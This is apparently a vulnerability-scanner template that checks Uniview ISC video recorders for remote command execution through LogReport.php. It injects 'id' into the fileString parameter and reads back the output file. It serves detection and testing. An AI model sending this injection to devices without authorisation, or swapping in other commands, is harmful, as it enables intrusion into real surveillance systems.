uniview-isc-logreport-php-rce: 浙江宇视科技 网络视频录像机 ISC LogReport.php 远程命令执行漏洞

id: uniview-isc-logreport-php-rce

info:
  name: 浙江宇视科技 网络视频录像机 ISC LogReport.php 远程命令执行漏洞
  author: zan8in
  severity: critical
  description: |
    浙江宇视科技 网络视频录像机 ISC /Interface/LogReport/LogReport.php 页面，fileString 参数过滤不严格，导致攻击者可执行任意命令
    app="uniview-ISC"
  reference:
    - http://wiki.peiqi.tech/wiki/iot/%E5%AE%87%E8%A7%86%E7%A7%91%E6%8A%80/%E6%B5%99%E6%B1%9F%E5%AE%87%E8%A7%86%E7%A7%91%E6%8A%80%20%E7%BD%91%E7%BB%9C%E8%A7%86%E9%A2%91%E5%BD%95%E5%83%8F%E6%9C%BA%20ISC%20LogReport.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html

set:
  randstr: randomLowercase(22)
rules:
  r0:
    request:
      method: GET
      path: /Interface/LogReport/LogReport.php?action=execUpdate&fileString=x;id>{{randstr}}.txt
    expression: response.status == 200
  r1:
    request:
      method: GET
      path: /Interface/LogReport/{{randstr}}.txt
    expression: response.status == 200 &&  "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
expression: r0() && r1()